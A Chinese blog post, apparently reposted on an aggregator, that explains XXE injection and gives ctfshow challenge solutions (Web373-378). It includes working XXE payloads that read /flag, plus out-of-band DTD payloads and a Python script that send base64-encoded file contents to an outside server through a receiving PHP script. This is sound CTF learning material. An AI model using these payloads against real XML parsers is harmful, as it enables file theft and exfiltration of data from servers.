初识XXE漏洞及ctfshow做题(373-378)

初识XXE漏洞

1.XXE简介

 XXE就是XML外部实体注入,当允许引用外部实体时, XML数据在传输中有可能会被不法分子被修改,如果服务器执行被恶意插入的代码,就可以实现攻击的目的攻击者可以通过构造恶意内容,就可能导致任意文件读取,系统命令执行,内网端口探测,攻击内网网站等危害。

 那有的小伙伴可能就会问了,那XML又是什么呢?

2.XML概念

XML是可扩展的标记语言(eXtensible Markup Language),设计用来进行数据的传输和存储, 结构是树形结构,有标签构成,这点很像HTML语言。

但是XML和HTML有明显区别如下:   

XML 被设计用来传输和存储数据。

HTML 被设计用来显示数据。

XML语法简析

1.XML基础语法

树形结构 必须具有根元素

<root>

  <child>

    <subchild>.....</subchild>

  </child>

</root>

举例:

<?xml version="1.0" encoding="UTF-8"?>

<note>

  <to>Tove</to>

  <from>Jani</from>

  <heading>Reminder</heading>

  <body>Don't forget me this weekend!</body>

</note>

声明 : <?xml version="1.0" encoding="utf-8"?>

标签中大小写敏感

属性值必须加引号

实体引用

一些字符拥有特殊含义 所以使用实体引用代替特殊字符

<message>if salary < 1000 then</message>

<!--上面的<是特殊字符 在解析器中会把他当做新元素的开始 修改如下-->

<message>if salary < 1000 then</message>

2.DTD (Document Type Definition)

作用:

在XML文档中加入DTD声明可以告诉XML解析器该文档遵循哪个DTD文档类型,对文档进行验证,以确保文档正确性。

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE rootElement SYSTEM "example.dtd">

<rootElement>

  <childElement>Hello World!</childElement>

</rootElement>

么是XXE :构造恶意DTD 主要是利用实体引用

实体

内部实体(无SYSTEM 不需要引用外部文件)

<?xml version="1.0" encoding="ISO-8859-1"?>

<!DOCTYPE foo [

        <!ELEMENT foo ANY >  <!--定义元素为any 说明接收任何元素 -->

<!ENTITY xxe "test" >]>

<creds>

<user>&xxe;</user>

<pass>mypass</pass>

</creds>

在user标签里面 使用&进行引用 解析输出的时候就会被test替换

外部实体(带有SYSTEM 需要请求外部文件)

<?xml version="1.0" encoding="ISO-8859-1"?>

<!DOCTYPE foo [

<!ELEMENT foo ANY >

<!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]>

<creds>

    <user>&xxe;</user>

    <pass>mypass</pass>

</creds>

相当于在dtd文档中创建了外部实体xxe 该实体的作用是读取本地文件

当解析xml文档的时候会遇到&xxe 会自动执行读取文件的操作

上面的SYSTEM 引用的方法还可以使用公用DTD的方法操作

<!DOCTYPE 根元素名称 PUBLIC “DTD标识名" “公用DTD的URI">

XXE危害

  • file://xxx读取文件
  • SSRF攻击
  • 盲注 信息数据泄露
  • 结合文件上传 getshell

Web373

// 关闭PHP的错误报告,这意味着在代码执行过程中发生的任何错误或警告都不会被显示或记录。  

error_reporting(0);  

 

// 尝试启用libxml的外部实体加载功能。然而,这里有一个误解:  

// libxml_disable_entity_loader(false) 实际上并不会启用外部实体加载,  

// 因为libxml_disable_entity_loader()的默认行为就是禁用外部实体加载(即true),  

// 所以传递false给它并不会改变默认行为。  

// 正确的做法是确保在解析XML时不会加载外部实体,以防止XXE攻击。  

libxml_disable_entity_loader(false);  

  

// 使用file_get_contents函数从'php://input'流中读取原始POST数据。  

// 这通常用于接收非表单数据的POST请求,如JSON或XML。  

$xmlfile = file_get_contents('php://input');  

  

// 检查$xmlfile变量是否已设置(即POST请求中是否包含了数据)。  

// 注意:由于file_get_contents('php://input')在失败时会返回false或空字符串,  

// 这里使用isset()实际上会检查变量是否存在且不为null,但它不会检查字符串是否为空。  

// 对于空字符串的情况,isset()也会返回true。  

if(isset($xmlfile)){  

    // 创建一个DOMDocument对象,用于加载和解析XML数据。  

    $dom = new DOMDocument();  

      

    // 尝试使用loadXML方法加载$xmlfile变量中的XML数据。  

    // LIBXML_NOENT选项用于替换XML文档中的实体引用。  

    // LIBXML_DTDLOAD选项允许在解析XML时加载DTD(文档类型定义)。  

    // 注意:LIBXML_DTDLOAD可能增加XXE攻击的风险,特别是当外部实体加载被启用时。  

    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);  

      

    // 使用simplexml_import_dom函数将DOMDocument对象转换为SimpleXMLElement对象,  

    // 以便可以使用SimpleXML的API来操作XML数据。  

    $creds = simplexml_import_dom($dom);  

      

    // 尝试从$creds对象中获取名为'ctfshow'的子元素的值。  

    // 这里假设XML结构中存在一个名为'ctfshow'的元素,并且它是$creds的直接子元素。  

    // 如果'ctfshow'不存在,这将导致一个警告(但由于error_reporting(0),警告不会被显示)。  

    $ctfshow = $creds->ctfshow;  

      

    // 输出'ctfshow'元素的值。  

    // 如果'ctfshow'不存在或为空,这里将输出空字符串或之前可能存在的任何值。  

    echo $ctfshow;  

}

Payload:

<?xml version="1.0"?>

<!DOCTYPE payload [

<!ELEMENT payload ANY>

<!ENTITY xxe SYSTEM "file:///flag">

]>

<creds>

<ctfshow>&xxe;</ctfshow>

</creds>

Web374

这题没有xxe回显返回值

在服务器上先上传1.php

<?php

file_put_contents("test.txt", $_GET['file']) ;

?>

上传xxe.xml

<!ENTITY % dtd "<!ENTITY % xxe  SYSTEM 'http://8.130.28.124/1.php?file=%file;'> ">

%dtd;

%xxe;

POST抓包上传

<!DOCTYPE test [

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">

<!ENTITY % aaa SYSTEM "http://8.130.28.124/xxe.xml">

%aaa;

]>

<root>123</root>

服务器接收到回显值

再base64解码

Web375

if(preg_match('/<\?xml version="1\.0"/', $xmlfile)){

    die('error');

}

过滤了xml和version=1或0

<!DOCTYPE test [

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">

<!ENTITY % aaa SYSTEM "http://8.130.28.124/xxe.dtd">

%aaa;

]>

<root>123</root>

Web376

if(preg_match('/<\?xml version="1\.0"/i', $xmlfile)){

    die('error');

}

过滤了xml version,1,0不区分大小写

<!DOCTYPE test [

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">

<!ENTITY % aaa SYSTEM "http://8.130.28.124/xxe.dtd">

%aaa;

]>

<root>123</root>

Web377

if(preg_match('/<\?xml version="1\.0"|http/i', $xmlfile)){

    die('error');

}

过滤了xml version,1,0,http,不区分大小写

Python代码

from requests import post

payload = """
<!DOCTYPE root [
        <!ELEMENT root ANY >
        <!ENTITY % data SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
        <!ENTITY % dtd SYSTEM "http://8.130.28.124/xxe.dtd">
        %dtd;
        %send;
        ]>
<root></root>
""".encode('UTF-16')

print(post(
    url='https://ab153ad2-d270-449e-bba8-1012a68caee3.challenge.ctf.show/',
    data=payload
).text)

Web378

Payload:

<?xml version="1.0"?>

<!DOCTYPE ANY[

<!ENTITY file SYSTEM "file:///flag">

]>

<user>

<username>&file;</username>

<password>123</password>

</user>

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://xiahunao.cn/news/3247861.html

如若内容造成侵权/违法违规/事实不符,请联系瞎胡闹网进行投诉反馈,一经查实,立即删除!

相关文章

昇思25天学习打卡营第29天 | 文本解码原理--以MindNLP为例

今天是29天&#xff0c;学习了文本解码原理--以MindNLP为例。 MindNLP 是一个基于 MindSpore 的开源自然语言处理&#xff08;NLP&#xff09;库。它具有以下特点&#xff1a; 支持多种 NLP 任务&#xff1a;如语言模型、机器翻译、问答、情感分析、序列标记、摘要等&#xff…

SPINDILOMETER:用于多导睡眠图的睡眠纺锤波模型

摘要 通过对近年来睡眠脑电(EEG)信号分析方法的研究&#xff0c;本文提出了一种可集成到多导睡眠图(PSG)设备中的SPINDILOMETER模型&#xff0c;以供PSG电生理信号研究人员、临床睡眠医生和技术人员使用。为此&#xff0c;通过分析PSG中的脑电信号&#xff0c;开发了一个测量睡…

算法题目整合

文章目录 121. 小红的区间翻转142. 两个字符串的最小 ASCII 删除总和143. 最长同值路径139.完美数140. 可爱串141. 好二叉树 121. 小红的区间翻转 小红拿到了两个长度为 n 的数组 a 和 b&#xff0c;她仅可以执行一次以下翻转操作&#xff1a;选择a数组中的一个区间[i, j]&…

【Neural signal processing and analysis zero to hero】- 2

Nonstationarities and effects of the FT course from youtube: 传送地址 why we need extinguish stationary and non-stationary signal, because most of neural signal is non-stationary. Welch’s method for smooth spectral decomposition Full FFT method y…

用Docker来开发

未完成。。。 现在好像用Docker是越来越多了。之前其实也看过docker的原理&#xff0c;大概就是cgroup那些&#xff0c;不过现在就不看原理了&#xff0c;不谈理论&#xff0c;只看实际中怎么用&#xff0c;解决眼前问题。 用docker来做开发&#xff0c;其实就是解决的编译环境…

ArkUI-动画

属性动画 属性动画是通过设置组建的animation属性来给组件添加动画&#xff0c;当组件的width、height、Opacity、backgroundColor、scale、rotate、translate等属性变更时&#xff0c;可以实现渐变过渡效果 Text().position({x: 10, //x轴坐标y: 0 //y轴坐标}).rotate…

在 PostgreSQL 里如何处理数据的存储优化和查询优化的优先级权衡?

&#x1f345;关注博主&#x1f397;️ 带你畅游技术世界&#xff0c;不错过每一次成长机会&#xff01;&#x1f4da;领书&#xff1a;PostgreSQL 入门到精通.pdf 文章目录 在 PostgreSQL 里如何处理数据的存储优化和查询优化的优先级权衡一、存储优化与查询优化的概述&#x…

阿里:深入探讨Java的分层编译

本文主要探讨Java虚拟机&#xff08;JVM&#xff09;中的分层编译&#xff08;Tiered Compilation&#xff09;机制及其对程序性能的影响。 前言 一开始接触到分层编译是因为我们这的服务每次发布/重启后都会短暂地出现CPU满线程池满的情况&#xff0c;然后过一段时间又能自动…

学习008-01-03 Customize the Application UI and Behavior(自定义应用程序UI和行为)

Customize the Application UI and Behavior&#xff08;自定义应用程序UI和行为&#xff09; In XAF, the data model defines the database structure and UI. Changes to your entity classes affect the UI. For example, if you add a new property to an entity class, …

C++ | Leetcode C++题解之第239题滑动窗口最大值

题目&#xff1a; 题解&#xff1a; class Solution { public:vector<int> maxSlidingWindow(vector<int>& nums, int k) {int n nums.size();vector<int> prefixMax(n), suffixMax(n);for (int i 0; i < n; i) {if (i % k 0) {prefixMax[i] num…

MySQL(7)内外连接+索引

目录 1.内外连接; 2. 索引; 1.内外连接: 1.1内连接: 语法: select 字段 from 表名 inner join 表名 on 字段限制; 1.2 外连接: 分为左右外连接; (1)左外连接: 语法: select * from 表名 left join 表名 on 字段限制. &#x1f330;查询所有学生的成绩&#xff0c;如果这个学生…

MySQL(8)事务

目录 1.事务; 1.事务: 1.1 如果CURD不加限制会这么样子? 可能造成数据同时被修改, 数据修改的结果是未知的.(可以想一下之前的抢票线程问题) 1.2 事务概念: 事务就是一组DML语句组成&#xff0c;这些语句在逻辑上存在相关性&#xff0c;这一组DML语句要么全部成功&#xff0…

【Python实战因果推断】40_双重差分11

目录 Heterogeneous Effect over Time Heterogeneous Effect over Time 有好消息也有坏消息。首先是好消息&#xff1a;你已经发现了问题所在。也就是说&#xff0c;你知道 TWFE 在应用于具有时间异构效应的交错采用数据时是有偏差的。用更专业的术语来说&#xff0c;您的数据…

TDesign组件库日常应用的一些注意事项

【前言】Element&#xff08;饿了么开源组件库&#xff09;在国内使用的普及率和覆盖率高于TDesign-vue&#xff08;腾讯开源组件库&#xff09;&#xff0c;这也导致日常开发遇到组件使用上的疑惑时&#xff0c;网上几乎搜索不到其文章解决方案&#xff0c;只能深挖官方文档或…

大厂面试官问我:Redis为什么使用哈希槽的方式进行数据分片?为什么不适用一致性哈希的方式?【后端八股文十三:Redis 集群哈希八股文合集(1)】

本文为【Redis 集群哈希 八股文合集&#xff08;1&#xff09;】初版&#xff0c;后续还会进行优化更新&#xff0c;欢迎大家关注交流~ hello hello~ &#xff0c;这里是绝命Coding——老白~&#x1f496;&#x1f496; &#xff0c;欢迎大家点赞&#x1f973;&#x1f973;关注…

pdf怎么转换成图片?3种PDF转图片方法分享

pdf怎么转换成图片&#xff1f;将PDF转换成图片不仅满足了快速分享的需求&#xff0c;还便于在多种平台上展示。特别是在社交媒体、演示文稿或在线文档中&#xff0c;图片格式的PDF页面更加直观易用。此外&#xff0c;转换成图片后&#xff0c;我们还可以利用图片编辑工具对PDF…

【Linux】启动的秘密花园:深入GRUB、Init系统和Systemd

&#x1f407;明明跟你说过&#xff1a;个人主页 &#x1f3c5;个人专栏&#xff1a;《Linux &#xff1a;从菜鸟到飞鸟的逆袭》&#x1f3c5; &#x1f516;行路有良友&#xff0c;便是天堂&#x1f516; 目录 一、引言 1、Linux的起源与发展 2、Linux的特点 3、Linux启…

Java中的迭代器(Iterator)

Java中的迭代器&#xff08;Iterator&#xff09; 1、 迭代器的基本方法2、 迭代器的使用示例3、注意事项4、克隆与序列化5、结论 &#x1f496;The Begin&#x1f496;点点关注&#xff0c;收藏不迷路&#x1f496; 在Java中&#xff0c;迭代器&#xff08;Iterator&#xff0…

隐性行为克隆——机器人的复杂行为模仿学习的新表述

介绍 论文地址&#xff1a;https://arxiv.org/pdf/2109.00137.pdf 源码地址&#xff1a;https://github.com/opendilab/DI-engine.git 近年来&#xff0c;人们对机器人学习进行了大量研究&#xff0c;并取得了许多成果。其中&#xff0c;模仿学习法尤其受到关注。这是一种从人…

无线通信 | 发射系统架构:两次变频发射机和直接变频发射机

微信公众号上线,搜索公众号小灰灰的FPGA,关注可获取相关源码,定期更新有关FPGA的项目以及开源项目源码,包括但不限于各类检测芯片驱动、低速接口驱动、高速接口驱动、数据信号处理、图像处理以及AXI总线等 本节目录 一、发射系统架构 1、两次变频发射机 2、直接变频发射机…